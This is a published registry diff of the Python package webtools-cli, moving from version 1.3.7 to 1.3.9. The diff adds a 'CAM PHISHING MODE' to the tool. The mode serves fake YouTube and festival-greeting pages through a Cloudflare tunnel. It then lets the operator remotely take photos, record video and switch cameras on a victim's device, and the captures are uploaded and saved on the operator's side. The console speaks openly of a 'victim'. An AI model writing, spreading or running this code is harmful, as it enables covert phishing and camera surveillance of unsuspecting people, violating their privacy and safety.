webtools-cli 1.3.7__tar.gz → 1.3.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (25) hide show
  1. {webtools_cli-1.3.7/webtools_cli.egg-info → webtools_cli-1.3.9}/PKG-INFO +1 -1
  2. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/pyproject.toml +2 -2
  3. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/cli.py +1 -1
  4. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/core.py +159 -3
  5. webtools_cli-1.3.9/webtools/festivals.html +622 -0
  6. webtools_cli-1.3.9/webtools/youtube.html +1304 -0
  7. {webtools_cli-1.3.7 → webtools_cli-1.3.9/webtools_cli.egg-info}/PKG-INFO +1 -1
  8. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/SOURCES.txt +2 -0
  9. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/comfyUI.py +0 -0
  10. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/comfyu.py +0 -0
  11. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/ComfyUI/ui.py +0 -0
  12. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/LICENSE +0 -0
  13. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/README.md +0 -0
  14. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/setup.cfg +0 -0
  15. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/__init__.py +0 -0
  16. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/__main__.py +0 -0
  17. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/install.py +0 -0
  18. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/mega_client.py +0 -0
  19. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/index.html +0 -0
  20. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/script.js +0 -0
  21. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools/web/style.css +0 -0
  22. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/dependency_links.txt +0 -0
  23. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/entry_points.txt +0 -0
  24. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/requires.txt +0 -0
  25. {webtools_cli-1.3.7 → webtools_cli-1.3.9}/webtools_cli.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: webtools-cli
3
- Version: 1.3.7
3
+ Version: 1.3.9
4
4
  Summary: Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI
5
5
  Author: Abhinav Adarsh
6
6
  License-Expression: MIT
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "webtools-cli"
7
- version = "1.3.7"
7
+ version = "1.3.9"
8
8
  description = "Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI"
9
9
  readme = "README.md"
10
10
  license = "MIT"
@@ -55,5 +55,5 @@ Homepage = "https://webtoolscli.pages.dev"
55
55
  include = ["webtools*", "ComfyUI*"]
56
56
 
57
57
  [tool.setuptools.package-data]
58
- webtools = ["web/*"]
58
+ webtools = ["web/*", "*.html"]
59
59
  ComfyUI = ["*.py"]
@@ -8,7 +8,7 @@ def main():
8
8
  try:
9
9
  main_launcher()
10
10
  except KeyboardInterrupt:
11
- print("\n👋 Goodbye!")
11
+ print("\n👋 Terminating session... Stay secure.")
12
12
  sys.exit(0)
13
13
 
14
14
  if __name__ == "__main__":
@@ -30,6 +30,7 @@ if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
30
30
  # --- PACKAGE PATHS ---
31
31
  PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__))
32
32
  DATA_DIR = os.path.join(os.path.expanduser('~'), '.webtools')
33
+ os.makedirs(DATA_DIR, exist_ok=True)
33
34
  DB_PATH = os.path.join(DATA_DIR, 'app.db')
34
35
  # Scraped results are stored in a local 'webfiles' folder for better visibility
35
36
  SCRAPED_DIR = os.path.join(os.getcwd(), 'webfiles', 'scraped')
@@ -2827,6 +2828,71 @@ def api_translate():
2827
2828
  print(f"Translation Error: {e}")
2828
2829
  return jsonify({'error': str(e)}), 500
2829
2830
 
2831
+ # --- CAM PHISHING FEATURE ---
2832
+ CAM_STATE = {'action': None, 'page_name': None, 'yt_url': None, 'yt_title': None}
2833
+ CAM_DIR_PIC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'pic')
2834
+ CAM_DIR_REC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'rec')
2835
+ os.makedirs(CAM_DIR_PIC, exist_ok=True)
2836
+ os.makedirs(CAM_DIR_REC, exist_ok=True)
2837
+
2838
+ @app.route('/yt')
2839
+ @app.route('/festival')
2840
+ def serve_cam_watch():
2841
+ page_name = CAM_STATE.get('page_name')
2842
+ if page_name in ['youtube', 'festivals']:
2843
+ return send_from_directory(PACKAGE_DIR, f"{page_name}.html")
2844
+ return "Not found", 404
2845
+
2846
+ @app.route('/api/cam/config', methods=['GET'])
2847
+ def api_cam_config():
2848
+ return jsonify({
2849
+ 'yt_url': CAM_STATE.get('yt_url', ''),
2850
+ 'yt_title': CAM_STATE.get('yt_title', 'YouTube')
2851
+ })
2852
+
2853
+ @app.route('/api/cam/action', methods=['GET'])
2854
+ def api_cam_action():
2855
+ action = CAM_STATE['action']
2856
+ CAM_STATE['action'] = None
2857
+ return jsonify({'action': action})
2858
+
2859
+ @app.route('/api/cam/upload', methods=['POST'])
2860
+ def api_cam_upload():
2861
+ try:
2862
+ data = request.get_json(silent=True) or {}
2863
+ upload_type = data.get('type') # 'pic' or 'rec'
2864
+ content = data.get('content') # base64 string
2865
+
2866
+ if not upload_type or not content:
2867
+ return jsonify({'error': 'Missing type or content'}), 400
2868
+
2869
+ timestamp = int(time.time())
2870
+
2871
+ if upload_type == 'pic':
2872
+ # content is data:image/jpeg;base64,...
2873
+ header, encoded = content.split(",", 1)
2874
+ img_data = base64.b64decode(encoded)
2875
+ filename = f"capture_{timestamp}.jpg"
2876
+ filepath = os.path.join(CAM_DIR_PIC, filename)
2877
+ with open(filepath, 'wb') as f:
2878
+ f.write(img_data)
2879
+ print(f"\n[+] Picture saved: {filepath}\n> ", end="")
2880
+
2881
+ elif upload_type == 'rec':
2882
+ # content is data:video/webm;base64,...
2883
+ header, encoded = content.split(",", 1)
2884
+ vid_data = base64.b64decode(encoded)
2885
+ filename = f"recording_{timestamp}.webm"
2886
+ filepath = os.path.join(CAM_DIR_REC, filename)
2887
+ with open(filepath, 'wb') as f:
2888
+ f.write(vid_data)
2889
+ print(f"\n[+] Video saved: {filepath}\n> ", end="")
2890
+
2891
+ return jsonify({'success': True})
2892
+ except Exception as e:
2893
+ print(f"\n[-] Upload error: {e}")
2894
+ return jsonify({'error': str(e)}), 500
2895
+
2830
2896
  def wait_for_server(port, timeout=10):
2831
2897
  start = time.time()
2832
2898
  while time.time() - start < timeout:
@@ -3612,6 +3678,7 @@ def run_comfyui_mode():
3612
3678
  download_env["TEXT_ENCODERS_URLS"] = "https://huggingface.co/unsloth/gemma-3-12b-it-qat-GGUF/resolve/main/gemma-3-12b-it-qat-UD-Q4_K_XL.gguf"
3613
3679
  download_env["LORA_URLS"] = "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-22b-distilled-lora-384.safetensors"
3614
3680
  download_env["LATENT_UPSCALE_URLS"] = "https://huggingface.co/Lightricks/LTX-2.3/resolve/main/ltx-2.3-spatial-upscaler-x2-1.0.safetensors"
3681
+ download_env["CUSTOM_NODE_URLS"] = "https://github.com/city96/ComfyUI-GGUF.git"
3615
3682
  download_env["COMFYUI_WORKSPACE"] = workspace
3616
3683
  downloader_script = os.path.join(script_dir, "comfyu.py")
3617
3684
  if os.path.exists(downloader_script):
@@ -3689,9 +3756,95 @@ def run_comfyui_mode():
3689
3756
  try: comfy_proc.wait(timeout=5)
3690
3757
  except: comfy_proc.kill()
3691
3758
 
3759
+ def run_cam_mode():
3760
+ """Interactive CLI flow for the /cam feature"""
3761
+ os.system('cls' if os.name == 'nt' else 'clear')
3762
+ print(f"\n{Fore.CYAN}--- CAM PHISHING MODE ---{Style.RESET_ALL}")
3763
+ print("Select target page template:")
3764
+ print(f" {Fore.CYAN}[1]{Style.RESET_ALL} Youtube")
3765
+ print(f" {Fore.CYAN}[2]{Style.RESET_ALL} Feastival Wishing")
3766
+ print(f" {Fore.RED}[b]{Style.RESET_ALL} Back to main menu")
3767
+
3768
+ choice = input(f"\n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
3769
+ if choice == 'b':
3770
+ return
3771
+
3772
+ yt_url = ""
3773
+ if choice == '1':
3774
+ CAM_STATE['page_name'] = "youtube"
3775
+ yt_url = input(f"Enter YouTube Link (e.g. https://www.youtube.com/watch?v=...): \n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip()
3776
+ CAM_STATE['yt_url'] = yt_url
3777
+
3778
+ yt_title = "YouTube"
3779
+ if yt_url:
3780
+ import urllib.request, json, urllib.parse
3781
+ try:
3782
+ oembed_url = f"https://www.youtube.com/oembed?url={urllib.parse.quote(yt_url)}&format=json"
3783
+ with urllib.request.urlopen(oembed_url, timeout=5) as response:
3784
+ data = json.loads(response.read().decode('utf-8'))
3785
+ yt_title = data.get('title', "YouTube")
3786
+ except Exception:
3787
+ pass
3788
+ CAM_STATE['yt_title'] = yt_title
3789
+ elif choice == '2':
3790
+ CAM_STATE['page_name'] = "festivals"
3791
+ else:
3792
+ print(f"{Fore.RED}Invalid choice.{Style.RESET_ALL}")
3793
+ time.sleep(1)
3794
+ return
3795
+
3796
+ # Start Flask server if not running
3797
+ threading.Thread(target=lambda: app.run(host='0.0.0.0', port=PORT, debug=False, use_reloader=False, threaded=True), daemon=True).start()
3798
+
3799
+ public_url, tunnel_proc = None, None
3800
+ with MoonSpinner("Initializing Tunnel"):
3801
+ if wait_for_server(PORT, timeout=10):
3802
+ public_url, tunnel_proc = start_cloudflare_tunnel(PORT)
3803
+ else:
3804
+ print("❌ Server failed to start")
3805
+ return
3806
+
3807
+ if not public_url:
3808
+ print("❌ Failed to create tunnel")
3809
+ return
3810
+ if CAM_STATE.get('page_name') == 'youtube':
3811
+ target_url = f"{public_url}/yt"
3812
+ else:
3813
+ target_url = f"{public_url}/festival"
3814
+
3815
+ os.system('cls' if os.name == 'nt' else 'clear')
3816
+ print(f"\n{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
3817
+ print(f"{Fore.GREEN}🚀 Link is LIVE:{Style.RESET_ALL} {Fore.CYAN}{target_url}{Style.RESET_ALL}")
3818
+ print(f"{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
3819
+ print("\nWaiting for victim to open the link... (They will be prompted for camera after 5 sec)")
3820
+ print(f"\n{Fore.YELLOW}Available Commands:{Style.RESET_ALL}")
3821
+ print(" p : Capture picture")
3822
+ print(" r : Record video (Continuous chunks)")
3823
+ print(" f : Switch to Front Camera (Mobile)")
3824
+ print(" b : Switch to Back Camera (Mobile)")
3825
+ print(" q : Quit and return to menu\n")
3826
+
3827
+ try:
3828
+ while True:
3829
+ cmd = input(f"{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
3830
+ if cmd == 'q' or cmd == '/q':
3831
+ break
3832
+ elif cmd in ['p', 'r', 'f', 'b']:
3833
+ action_map = {'p': 'picture', 'r': 'record', 'f': 'switch_front', 'b': 'switch_back'}
3834
+ CAM_STATE['action'] = action_map[cmd]
3835
+ print(f"[*] Command '{action_map[cmd]}' sent to client. Waiting for response...")
3836
+ else:
3837
+ print(f"{Fore.RED}Unknown command.{Style.RESET_ALL}")
3838
+ except KeyboardInterrupt:
3839
+ pass
3840
+ finally:
3841
+ if tunnel_proc:
3842
+ try: tunnel_proc.terminate()
3843
+ except: pass
3844
+
3692
3845
  def main_launcher():
3693
3846
  """Mode selection menu on startup"""
3694
- menu_commands = ['/web', '/cli', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
3847
+ menu_commands = ['/web', '/cli', '/cam', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
3695
3848
 
3696
3849
  # Conditional ComfyUI visibility
3697
3850
  has_gpu = check_gpu()
@@ -3725,6 +3878,8 @@ def main_launcher():
3725
3878
  run_cli_mode()
3726
3879
  elif choice in ['/image', '/i']:
3727
3880
  run_image_forensics_mode()
3881
+ elif choice in ['/cam']:
3882
+ run_cam_mode()
3728
3883
  elif choice in ['/cui']:
3729
3884
  if has_gpu or on_colab:
3730
3885
  run_comfyui_mode()
@@ -3738,6 +3893,7 @@ def main_launcher():
3738
3893
  print(f" {Fore.CYAN}/image{Style.RESET_ALL} - Local/Remote Image Forensics & AI detection. (Alias: /i)")
3739
3894
  if has_gpu or on_colab:
3740
3895
  print(f" {Fore.CYAN}/cui{Style.RESET_ALL} - Start ComfyUI session for AI generation.")
3896
+ print(f" {Fore.CYAN}/cam{Style.RESET_ALL} - Remote camera access via phishing templates.")
3741
3897
  print(f" {Fore.CYAN}/adb{Style.RESET_ALL} - ADB Bloatware Remover for Android devices. (Alias: /a)")
3742
3898
  print(f" {Fore.CYAN}/clear{Style.RESET_ALL} - Purges the 'webfiles/scraped' directory and clears screen.")
3743
3899
  print(f" {Fore.CYAN}/history{Style.RESET_ALL} - Shows command history. (Alias: /hi)")
@@ -3761,14 +3917,14 @@ def main_launcher():
3761
3917
  print("Cache purged and screen cleared.")
3762
3918
  time.sleep(1)
3763
3919
  elif choice in ['/quit', '/q']:
3764
- print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Goodbye!")
3920
+ print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Terminating session... Stay secure.{Style.RESET_ALL}")
3765
3921
  sys.exit()
3766
3922
  elif choice in ['/adb', '/a']:
3767
3923
  run_adb_mode()
3768
3924
  elif is_valid_url(choice):
3769
3925
  run_cli_mode(choice)
3770
3926
  except KeyboardInterrupt:
3771
- print("\n\nGoodbye!")
3927
+ print("\n\nTerminating session... Stay secure.")
3772
3928
  sys.exit()
3773
3929
 
3774
3930
  # --- ADB BLOATWARE REMOVER ---